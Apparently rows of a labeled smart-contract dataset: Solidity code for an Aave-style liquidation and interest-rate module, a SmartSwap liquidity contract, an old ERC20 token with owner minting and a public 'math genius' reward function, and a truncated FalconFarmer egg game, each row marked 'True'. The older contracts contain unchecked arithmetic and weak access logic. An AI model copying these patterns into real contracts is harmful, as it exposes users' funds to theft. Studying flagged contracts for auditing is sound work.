(, , , , , , , vars.healthFactorBelowThreshold) = dataProvider.calculateUserGlobalData(
_user
);
if (!vars.healthFactorBelowThreshold) {
return (
uint256(LiquidationErrors.HEALTH_FACTOR_ABOVE_THRESHOLD),
"Health factor is not below the threshold"
);
}
vars.userCollateralBalance = core.getUserUnderlyingAssetBalance(_collateral, _user);
//if _user hasn't deposited this specific collateral, nothing can be liquidated
if (vars.userCollateralBalance == 0) {
return (
uint256(LiquidationErrors.NO_COLLATERAL_AVAILABLE),
"Invalid collateral to liquidate"
);
}
vars.isCollateralEnabled =
core.isReserveUsageAsCollateralEnabled(_collateral) &&
core.isUserUseReserveAsCollateralEnabled(_collateral, _user);
//if _collateral isn't enabled as collateral by _user, it cannot be liquidated
if (!vars.isCollateralEnabled) {
return (
uint256(LiquidationErrors.COLLATERAL_CANNOT_BE_LIQUIDATED),
"The collateral chosen cannot be liquidated"
);
}
//if the user hasn't borrowed the specific currency defined by _reserve, it cannot be liquidated
(, vars.userCompoundedBorrowBalance, vars.borrowBalanceIncrease) = core
.getUserBorrowBalances(_reserve, _user);
if (vars.userCompoundedBorrowBalance == 0) {
return (
uint256(LiquidationErrors.CURRRENCY_NOT_BORROWED),
"User did not borrow the specified currency"
);
}
//all clear - calculate the max principal amount that can be liquidated
vars.maxPrincipalAmountToLiquidate = vars
.userCompoundedBorrowBalance
.mul(LIQUIDATION_CLOSE_FACTOR_PERCENT)
.div(100);
vars.actualAmountToLiquidate = _purchaseAmount > vars.maxPrincipalAmountToLiquidate
? vars.maxPrincipalAmountToLiquidate
: _purchaseAmount;
(uint256 maxCollateralToLiquidate, uint256 principalAmountNeeded) = calculateAvailableCollateralToLiquidate(
_collateral,
_reserve,
vars.actualAmountToLiquidate,
vars.userCollateralBalance
);
vars.originationFee = core.getUserOriginationFee(_reserve, _user);
//if there is a fee to liquidate, calculate the maximum amount of fee that can be liquidated
if (vars.originationFee > 0) {
(
vars.liquidatedCollateralForFee,
vars.feeLiquidated
) = calculateAvailableCollateralToLiquidate(
_collateral,
_reserve,
vars.originationFee,
vars.userCollateralBalance.sub(maxCollateralToLiquidate)
);
}
//if principalAmountNeeded < vars.ActualAmountToLiquidate, there isn't enough
//of _collateral to cover the actual amount that is being liquidated, hence we liquidate
//a smaller amount
if (principalAmountNeeded < vars.actualAmountToLiquidate) {
vars.actualAmountToLiquidate = principalAmountNeeded;
}
//if liquidator reclaims the underlying asset, we make sure there is enough available collateral in the reserve
if (!_receiveAToken) {
uint256 currentAvailableCollateral = core.getReserveAvailableLiquidity(_collateral);
if (currentAvailableCollateral < maxCollateralToLiquidate) {
return (
uint256(LiquidationErrors.NOT_ENOUGH_LIQUIDITY),
"There isn't enough liquidity available to liquidate"
);
}
}
core.updateStateOnLiquidation(
_reserve,
_collateral,
_user,
vars.actualAmountToLiquidate,
maxCollateralToLiquidate,
vars.feeLiquidated,
vars.liquidatedCollateralForFee,
vars.borrowBalanceIncrease,
_receiveAToken
);
AToken collateralAtoken = AToken(core.getReserveATokenAddress(_collateral));
//if liquidator reclaims the aToken, he receives the equivalent atoken amount
if (_receiveAToken) {
collateralAtoken.transferOnLiquidation(_user, msg.sender, maxCollateralToLiquidate);
} else {
//otherwise receives the underlying asset
//burn the equivalent amount of atoken
collateralAtoken.burnOnLiquidation(_user, maxCollateralToLiquidate);
core.transferToUser(_collateral, msg.sender, maxCollateralToLiquidate);
}
//transfers the principal currency to the pool
core.transferToReserve.value(msg.value)(_reserve, msg.sender, vars.actualAmountToLiquidate);
if (vars.feeLiquidated > 0) {
//if there is enough collateral to liquidate the fee, first transfer burn an equivalent amount of
//aTokens of the user
collateralAtoken.burnOnLiquidation(_user, vars.liquidatedCollateralForFee);
//then liquidate the fee by transferring it to the fee collection address
core.liquidateFee(
_collateral,
vars.liquidatedCollateralForFee,
addressesProvider.getTokenDistributor()
);
emit OriginationFeeLiquidated(
_collateral,
_reserve,
_user,
vars.feeLiquidated,
vars.liquidatedCollateralForFee,
//solium-disable-next-line
block.timestamp
);
}
emit LiquidationCall(
_collateral,
_reserve,
_user,
vars.actualAmountToLiquidate,
maxCollateralToLiquidate,
vars.borrowBalanceIncrease,
msg.sender,
_receiveAToken,
//solium-disable-next-line
block.timestamp
);
return (uint256(LiquidationErrors.NO_ERROR), "No errors");
}
struct AvailableCollateralToLiquidateLocalVars {
uint256 userCompoundedBorrowBalance;
uint256 liquidationBonus;
uint256 collateralPrice;
uint256 principalCurrencyPrice;
uint256 maxAmountCollateralToLiquidate;
}
/**
* @dev calculates how much of a specific collateral can be liquidated, given
* a certain amount of principal currency. This function needs to be called after
* all the checks to validate the liquidation have been performed, otherwise it might fail.
* @param _collateral the collateral to be liquidated
* @param _principal the principal currency to be liquidated
* @param _purchaseAmount the amount of principal being liquidated
* @param _userCollateralBalance the collatera balance for the specific _collateral asset of the user being liquidated
* @return the maximum amount that is possible to liquidated given all the liquidation constraints (user balance, close factor) and
* the purchase amount
**/
function calculateAvailableCollateralToLiquidate(
address _collateral,
address _principal,
uint256 _purchaseAmount,
uint256 _userCollateralBalance
) internal view returns (uint256 collateralAmount, uint256 principalAmountNeeded) {
collateralAmount = 0;
principalAmountNeeded = 0;
IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
AvailableCollateralToLiquidateLocalVars memory vars;
vars.collateralPrice = oracle.getAssetPrice(_collateral);
vars.principalCurrencyPrice = oracle.getAssetPrice(_principal);
vars.liquidationBonus = core.getReserveLiquidationBonus(_collateral);
//this is the maximum possible amount of the selected collateral that can be liquidated, given the
//max amount of principal currency that is available for liquidation.
vars.maxAmountCollateralToLiquidate = vars
.principalCurrencyPrice
.mul(_purchaseAmount)
.div(vars.collateralPrice)
.mul(vars.liquidationBonus)
.div(100);
if (vars.maxAmountCollateralToLiquidate > _userCollateralBalance) {
collateralAmount = _userCollateralBalance;
principalAmountNeeded = vars
.collateralPrice
.mul(collateralAmount)
.div(vars.principalCurrencyPrice)
.mul(100)
.div(vars.liquidationBonus);
} else {
collateralAmount = vars.maxAmountCollateralToLiquidate;
principalAmountNeeded = _purchaseAmount;
}
return (collateralAmount, principalAmountNeeded);
}
}
/**
* @title InterestRateStrategyBase contract
* @notice implements the base functions needed for the InterestRateStrategy contracts
* @author Aave
**/
contract DoubleSlopeInterestRateStrategyBase is IReserveInterestRateStrategy {
using WadRayMath for uint256;
using SafeMath for uint256;
LendingPoolAddressesProvider public addressesProvider;
//base variable borrow rate when Utilization rate = 0. Expressed in ray
uint256 internal baseVariableBorrowRate;
//slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal variableRateSlope1;
//slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal variableRateSlope2;
//slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal stableRateSlope1;
//slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal stableRateSlope2;
constructor(
LendingPoolAddressesProvider _provider,
uint256 _baseVariableBorrowRate,
uint256 _variableRateSlope1,
uint256 _variableRateSlope2,
uint256 _stableRateSlope1,
uint256 _stableRateSlope2
) public {
addressesProvider = _provider;
baseVariableBorrowRate = _baseVariableBorrowRate;
variableRateSlope1 = _variableRateSlope1;
variableRateSlope2 = _variableRateSlope2;
stableRateSlope1 = _stableRateSlope1;
stableRateSlope2 = _stableRateSlope2;
}
/**
* @dev accessors
*/
function getVariableRateSlope1() external view returns (uint256) {
return variableRateSlope1;
}
function getVariableRateSlope2() external view returns (uint256) {
return variableRateSlope2;
}
function getStableRateSlope1() external view returns (uint256) {
return stableRateSlope1;
}
function getStableRateSlope2() external view returns (uint256) {
return stableRateSlope2;
}
function getBaseVariableBorrowRate() external view returns (uint256) {
return baseVariableBorrowRate;
}
/**
* @dev calculates the liquidity, stable, and variable rates depending on the current utilization rate
* and the base parameters
*
*/
function calculateInterestRates(
address _reserve,
uint256 _utilizationRate,
uint256 _totalBorrowsStable,
uint256 _totalBorrowsVariable,
uint256 _averageStableBorrowRate
)
external
view
returns (uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate);
/**
* @dev calculates the interest rates depending on the available liquidity and the total borrowed.
* @param _reserve the address of the reserve
* @param _availableLiquidity the liquidity available in the reserve
* @param _totalBorrowsStable the total borrowed from the reserve a stable rate
* @param _totalBorrowsVariable the total borrowed from the reserve at a variable rate
* @param _averageStableBorrowRate the weighted average of all the stable rate borrows
* @param _optimalRatio the optimal target ratio after which slope 2 is used
* @return the liquidity rate, stable borrow rate and variable borrow rate calculated from the input parameters
**/
function calculateInterestRatesInternal(
address _reserve,
uint256 _availableLiquidity,
uint256 _totalBorrowsStable,
uint256 _totalBorrowsVariable,
uint256 _averageStableBorrowRate,
uint256 _optimalRatio
)
internal
view
returns (
uint256 currentLiquidityRate,
uint256 currentStableBorrowRate,
uint256 currentVariableBorrowRate
)
{
uint256 excessRatio = WadRayMath.ray() - _optimalRatio;
uint256 totalBorrows = _totalBorrowsStable.add(_totalBorrowsVariable);
uint256 utilizationRate = (totalBorrows == 0 && _availableLiquidity == 0)
? 0
: totalBorrows.rayDiv(_availableLiquidity.add(totalBorrows));
currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle())
.getMarketBorrowRate(_reserve);
if (utilizationRate > _optimalRatio) {
uint256 excessUtilizationRateRatio = utilizationRate.sub(_optimalRatio).rayDiv(
excessRatio
);
currentStableBorrowRate = currentStableBorrowRate.add(stableRateSlope1).add(
stableRateSlope2.rayMul(excessUtilizationRateRatio)
);
currentVariableBorrowRate = baseVariableBorrowRate.add(variableRateSlope1).add(
variableRateSlope2.rayMul(excessUtilizationRateRatio)
);
} else {
currentStableBorrowRate = currentStableBorrowRate.add(
stableRateSlope1.rayMul(utilizationRate.rayDiv(_optimalRatio))
);
currentVariableBorrowRate = baseVariableBorrowRate.add(
utilizationRate.rayDiv(_optimalRatio).rayMul(variableRateSlope1)
);
}
currentLiquidityRate = getOverallBorrowRateInternal(
_totalBorrowsStable,
_totalBorrowsVariable,
currentVariableBorrowRate,
_averageStableBorrowRate
)
.rayMul(utilizationRate);
}
/**
* @dev calculates the overall borrow rate as the weighted average between the total variable borrows and total stable borrows.
* @param _totalBorrowsStable the total borrowed from the reserve a stable rate
* @param _totalBorrowsVariable the total borrowed from the reserve at a variable rate
* @param _currentVariableBorrowRate the current variable borrow rate
* @param _currentAverageStableBorrowRate the weighted average of all the stable rate borrows
* @return the weighted averaged borrow rate
**/
function getOverallBorrowRateInternal(
uint256 _totalBorrowsStable,
uint256 _totalBorrowsVariable,
uint256 _currentVariableBorrowRate,
uint256 _currentAverageStableBorrowRate
) internal pure returns (uint256) {
uint256 totalBorrows = _totalBorrowsStable.add(_totalBorrowsVariable);
if (totalBorrows == 0) return 0;
uint256 weightedVariableRate = _totalBorrowsVariable.wadToRay().rayMul(
_currentVariableBorrowRate
);
uint256 weightedStableRate = _totalBorrowsStable.wadToRay().rayMul(
_currentAverageStableBorrowRate
);
uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(
totalBorrows.wadToRay()
);
return overallBorrowRate;
}
}
/**
* @title OptimizedReserveInterestRateStrategy contract
* @notice implements a double slope interest rate model with 80% optimal threshold.
* @author Aave
**/
contract OptimizedReserveInterestRateStrategy is DoubleSlopeInterestRateStrategyBase {
/**
* @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates
* expressed in ray
**/
uint256 public constant OPTIMAL_UTILIZATION_RATE = 0.80 * 1e27;
constructor(
LendingPoolAddressesProvider _provider,
uint256 _baseVariableBorrowRate,
uint256 _variableRateSlope1,
uint256 _variableRateSlope2,
uint256 _stableRateSlope1,
uint256 _stableRateSlope2
)
DoubleSlopeInterestRateStrategyBase(
_provider,
_baseVariableBorrowRate,
_variableRateSlope1,
_variableRateSlope2,
_stableRateSlope1,
_stableRateSlope2
)
public
{}
/**
* @dev calculates the interest rates depending on the available liquidity and the total borrowed.
* @param _reserve the address of the reserve
* @param _availableLiquidity the liquidity available in the reserve
* @param _totalBorrowsStable the total borrowed from the reserve a stable rate
* @param _totalBorrowsVariable the total borrowed from the reserve at a variable rate
* @param _averageStableBorrowRate the weighted average of all the stable rate borrows
* @return the liquidity rate, stable borrow rate and variable borrow rate calculated from the input parameters
**/
function calculateInterestRates(
address _reserve,
uint256 _availableLiquidity,
uint256 _totalBorrowsStable,
uint256 _totalBorrowsVariable,
uint256 _averageStableBorrowRate
)
external
view
returns (
uint256 currentLiquidityRate,
uint256 currentStableBorrowRate,
uint256 currentVariableBorrowRate
)
{
return
super.calculateInterestRatesInternal(
_reserve,
_availableLiquidity,
_totalBorrowsStable,
_totalBorrowsVariable,
_averageStableBorrowRate,
OPTIMAL_UTILIZATION_RATE
);
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-28
*/
// SPDX-License-Identifier: No License (None)
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface ISmartSwap {
function isSystem(address caller) external returns(bool); // check if caller is system wallet.
function decimals(address token) external returns(uint256); // token address => token decimals
function processingFee() external returns(uint256); // Processing fee
function companySPFee() external returns(uint256); // Company fee for SP
function reimburse(address user, uint256 amount) external; // reimburse user for SP payment
function swap(
address tokenA,
address tokenB,
address receiver,
uint256 amountA,
address licensee,
bool isInvestment,
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled.
uint128 limitPice // Do not match user if token A price less this limit
)
external
payable
returns (bool);
function cancel(
address tokenA,
address tokenB,
address receiver,
uint256 amountA //amount of tokenA to cancel
)
external
payable
returns (bool);
function claimTokenBehalf(
address tokenA, // foreignToken
address tokenB, // nativeToken
address sender,
address receiver,
bool isInvestment,
uint128 amountA, //amount of tokenA that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price
uint256 foreignBalance // total tokens amount sent by user to pair on other chain
)
external
returns (bool);
}
contract SPImplementation{
struct Tokens {
address nativeToken;
address foreignToken;
uint8 nativeDecimals;
uint8 foreignDecimals;
}
Tokens public tokensData;
address public nativeTokenReceiver;
address public foreignTokenReceiver;
address public owner;
ISmartSwap public smartSwap; // assign SmartSwap address here
uint256 private feeAmountLimit; // limit of amount that System withdraw for fee reimbursement
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeeTransfer(address indexed systemWallet, uint256 fee);
event Deposit(uint256 value);
// run only once from proxy
function initialize(
address _owner, // contract owner
address _nativeToken, // native token that will be send to SmartSwap
address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain)
address _nativeTokenReceiver, // address on Binance to deposit native token
address _foreignTokenReceiver, // address on Binance to deposit foreign token
uint256 _feeAmountLimit // limit of amount that System may withdraw for fee reimbursement
)
external
{
require(owner == address(0)); // run only once
require(
_nativeToken != address(0)
&& _foreignToken != address(0)
&& _nativeTokenReceiver != address(0)
&& _foreignTokenReceiver != address(0)
);
tokensData.nativeToken = _nativeToken;
tokensData.foreignToken = _foreignToken;
nativeTokenReceiver = _nativeTokenReceiver;
foreignTokenReceiver = _foreignTokenReceiver;
feeAmountLimit = _feeAmountLimit;
smartSwap = ISmartSwap(msg.sender);
tokensData.nativeDecimals = uint8(smartSwap.decimals(tokensData.nativeToken));
tokensData.foreignDecimals = uint8(smartSwap.decimals(tokensData.foreignToken));
owner = _owner;
emit OwnershipTransferred(address(0), _owner);
}
receive() external payable {
emit Deposit(msg.value);
}
/**
* @dev Throws if called by any account other than the system.
*/
modifier onlySystem() {
require(smartSwap.isSystem(msg.sender), "Caller is not the system");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
// set limit of amount that System withdraw for fee reimbursement
function setFeeAmountLimit(uint256 amount) external onlyOwner {
feeAmountLimit = amount;
}
// get limit of amount that System withdraw for fee reimbursement
function getFeeAmountLimit() external view returns(uint256) {
return feeAmountLimit;
}
function cancel(uint256 amount) external onlySystem {
smartSwap.cancel(tokensData.nativeToken, tokensData.foreignToken, foreignTokenReceiver, amount);
}
// Allow owner withdraw tokens from contract
function withdraw(address token, uint256 amount) external onlyOwner {
if (token < address(9))
safeTransferETH(msg.sender, amount);
else
safeTransfer(token, msg.sender, amount);
}
// add liquidity to counterparty
function addLiquidityAndClaimBehalf(
uint128 amount, //amount of native token that has to be swapped (amount of provided liquidity)
uint128 currentRate, // rate with 18 decimals: tokenB price / tokenA price
uint128[] memory claimAmount, // claim amount (in foreign tokens).
uint256[] memory foreignBalance, // total tokens amount sent by user to pair on other chain
address[] memory senderCounterparty, // correspondent value from SwapRequest event
address[] memory receiverCounterparty, // correspondent value from SwapRequest event
uint256 feeAmount, // processing fee amount to reimburse system wallet.
uint256 reimbursement // amount of reimbursement to user in native coin (BNB, ETH)
)
external
onlySystem
{
require(feeAmountLimit >= feeAmount, "Fee limit exceeded");
feeAmountLimit -= feeAmount;
Tokens memory t = tokensData;
require(claimAmount.length == foreignBalance.length &&
senderCounterparty.length == receiverCounterparty.length &&
foreignBalance.length == senderCounterparty.length,
"Wrong length"
);
// send swap request
swap(t, amount, feeAmount);
// claim tokens on users behalf
claimBehalf(t, amount, currentRate, claimAmount, foreignBalance, senderCounterparty, receiverCounterparty, reimbursement);
}
function claimBehalf(
Tokens memory t,
uint128 amount, //amount of native token that has to be swapped (amount of provided liquidity)
uint128 currentRate, // rate with 18 decimals: tokenB price / tokenA price
uint128[] memory claimAmount, // claim amount (in foreign tokens).
uint256[] memory foreignBalance, // total tokens amount sent by user to pair on other chain
address[] memory senderCounterparty, // correspondent value from SwapRequest event
address[] memory receiverCounterparty, // correspondent value from SwapRequest event
uint256 reimbursement // amount of reimbursement to user
)
internal
{
uint256 totalAmount;
for (uint256 i = 0; i < claimAmount.length; i++) {
totalAmount += claimAmount[i];
smartSwap.claimTokenBehalf(
t.foreignToken,
t.nativeToken,
senderCounterparty[i],
receiverCounterparty[i],
false,
claimAmount[i],
currentRate,
foreignBalance[i]
);
}
require(totalAmount * currentRate / (10**(18+t.foreignDecimals-t.nativeDecimals)) <= uint256(amount), "Insuficiant amount");
if (reimbursement != 0) {
for (uint256 i = 0; i < claimAmount.length; i++) {
smartSwap.reimburse(receiverCounterparty[i], reimbursement * claimAmount[i] / totalAmount);
}
}
}
function swap(Tokens memory t, uint128 amount, uint256 feeAmount) internal {
uint256 processingFee = smartSwap.processingFee();
if (t.nativeToken > address(9)) {
// can't get company fee amount
IERC20(t.nativeToken).approve(address(smartSwap), uint256(amount));
smartSwap.swap{value: processingFee}(
t.nativeToken,
t.foreignToken,
foreignTokenReceiver,
amount,
address(0),
false,
0,
0
);
} else { // native coin (ETH, BNB)
processingFee = uint256(amount)*smartSwap.companySPFee()/10000 + processingFee;
smartSwap.swap{value: uint256(amount) + processingFee}(
t.nativeToken,
t.foreignToken,
foreignTokenReceiver,
amount,
address(0),
false,
0,
0
);
}
require(processingFee <= feeAmount, "Insuficiant fee");
feeAmount -= processingFee; // we already paid processing fee to SmartSwap contract
if (feeAmount != 0) {
payable(msg.sender).transfer(feeAmount);
emit FeeTransfer(msg.sender, feeAmount);
}
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TRANSFER_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'ETH_TRANSFER_FAILED');
}
} | True | [
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pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
uint currentChallenge = 1; // Can you figure out the cubic root of this number?
function rewardMathGeniuses(uint answerToCurrentReward, uint nextChallenge) {
require(answerToCurrentReward**3 == currentChallenge); // If answer is wrong do not continue
balanceOf[msg.sender] += 1; // Reward the player
currentChallenge = nextChallenge; // Set the next challenge
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | True | [
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pragma solidity ^0.4.20; // solhint-disable-line
// similar as falconfarmer, with three changes:
// A. one third of your falcons die when you sell eggs
// B. you can transfer ownership of the devfee through sacrificing falcons
// C. the "free" 300 falcons cost 0.001 eth (in line with the mining fee)
// bots should have a harder time, and whales can compete for the devfee
contract FalconFarmer{
//uint256 EGGS_PER_FALCON_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1FALCON=86400;//for final version should be seconds in a day
uint256 public STARTING_FALCON=300;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=false;
address public ceoAddress;
mapping (address => uint256) public hatcheryFalcon;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs;
uint256 public falconmasterReq=100000;
function FalconFarmer() public{
ceoAddress=msg.sender;
}
function becomeFalconmaster() public{
require(initialized);
require(hatcheryFalcon[msg.sender]>=falconmasterReq);
hatcheryFalcon[msg.sender]=SafeMath.sub(hatcheryFalcon[msg.sender],falconmasterReq);
falconmasterReq=SafeMath.add(falconmasterReq,100000);//+100k falcons each time
ceoAddress=msg.sender;
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newFalcon=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1FALCON);
hatcheryFalcon[msg.sender]=SafeMath.add(hatcheryFalcon[msg.sender],newFalcon);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
//send referral eggs
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
//boost market to nerf falcon hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
uint256 fee=devFee(eggValue);
// kill one third of the owner's falcons on egg sale
hatcheryFalcon[msg.sender]=SafeMath.mul(SafeMath.div(hatcheryFalcon[msg.sender],3),2);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
ceoAddress.transfer(fee);
msg.sender.transfer(SafeMath.sub(eggValue,fee));
}
function buyEggs() public payable{
require(initialized);
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
ceoAddress.transfer(devFee(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
}
//magic trade balancing algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
//(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs,this.balance);
}
